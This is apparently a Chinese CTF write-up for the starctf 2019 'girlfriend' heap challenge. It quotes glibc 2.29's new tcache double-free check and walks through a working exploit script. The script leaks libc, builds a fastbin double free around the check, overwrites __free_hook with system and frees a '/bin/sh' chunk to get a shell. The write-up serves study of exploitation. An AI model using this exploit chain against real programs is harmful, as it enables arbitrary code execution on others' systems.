starctf 2019 girlfriend

starctf2019的一道题目,因为libc是2.29的,之前只听说过libc2.29加了tcache的double free的check,就复现了一下这道题的官方wp学习了一下。

libc 2.29的tcache

查看libc2.29的patch,可以发现tcache_entry结构体增加了key结构体变量,用来检测tcache中是否存在double free,这个在具体malloc和free的代码里会有体现。

1
2
3
4
5
6
7
//glibc-2.29 ./malloc/malloc.c
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //patch
} tcache_entry;

tcache_get是malloc时从相应的tcache链中取出一个堆块,当成功分配到这个堆块时,会将该堆块的key置为空。

1
2
3
4
5
6
7
8
9
10
11
//glibc-2.29 ./malloc/malloc.c
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL; //patch
return (void *) e;
}

在_int_free函数中,如果有tcache,会检查目标堆块的key是否为tcache,如果目标堆块的key为tcache,会在相应的tcache链中查找是否有该堆块,如果该堆块存在,则报double free的错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size); //
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache)) //patch
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif

同时,每释放一个堆块至tcache时,在tcache_put中会将该堆块的key置为tcache,便于下次free时进行检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //patch

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);

绕过check

看了博客,感觉这个绕过其实是利用了fastbin的double free,类似于这样,A->B->A->0x0的形式,构造时将对于大小的tcache进行填充,然后再double free就可以了。前提是可以题目里有double free的洞。

starctf2019 girlfriend

题目描述 & 题目漏洞

题目有add、show、delete三个功能,edit功能虽然有选项但是未实现。
add功能中最多申请101个chunk,有一个0x18的结构体存储了堆地址和堆的大小,具体成员如下:

1
2
3
4
5
00000000 info            struc ; (sizeof=0x14, mappedto_7)
00000000 heap_ptr dq ?
00000008 size dq ?
0000000c phone dd ?
00000018 info ends

delete函数中没有对bss段上的全局变量进行清空,因此存在double free。

利用过程

首先是泄露libc,可以申请一个较大的chunk,大于等于0x420,释放后直接进入largebin,然后show进行libc的泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
name = "aaaa"
phone = '1'*0xc


add(0x440,name,phone) #0 put into largebin
add(0x18,name,phone) #1
delete(0)
show(0)
p.recvuntil("name:\n")
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
print "leak_addr:",hex(leak_addr)
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x70
print "libc_base:",hex(libc_base)

free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base + 0xdf99d
system = libc_base + libc.symbols["system"]
malloc_hook = libc_base + libc.symbols["__malloc_hook"]

在构造double free时,注意填充tache链,在fastbin上构造double free就可以了,参考的exp里感觉有点啰嗦,double free的chunk是idx12。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
add(0x440,name,phone) #2

for i in range(7):
add(0x68,name,phone) #3~9 malloc from unsorted bin


add(0x68,name,phone) #10 malloc from top chunk
add(0x68,name,phone) #11

delete(9)

for i in range(6):
delete(i+3) #3~8

add(0x68,name,phone) #12 == 8 0x580
add(0x68,name,phone) #13 == 7 0x4f0

##fill tcache
delete(10)
delete(11)

##double free
##fastbin 12->13->12
delete(12)
delete(13)
delete(12)

在申请时首先清空对应tcache链上的内容,然后再申请fastbin里的chunk,当tcache里没有chunk而fastbin里有chunk时,会将fastbin里的chunk放入tcache,因此这边就可以直接覆写free_hook,然后触发system(“/bin/sh”)获得shell。

1
2
3
4
5
6
7
8
9
10
11
##empty tcache
for i in range(7):
add(0x68,name,phone) #14~20

add(0x68,p64(free_hook),phone) #21 == 12 fastbin 0x70 chunks put into tcache
add(0x68,name,phone) #22 == 13
add(0x68,"/bin/sh\x00",phone) #23 == 12
add(0x68,p64(system),phone) #24

##trigger
delete(23)

参考

https://github.com/sixstars/starctf2019/blob/master/pwn-girlfriend/hack.py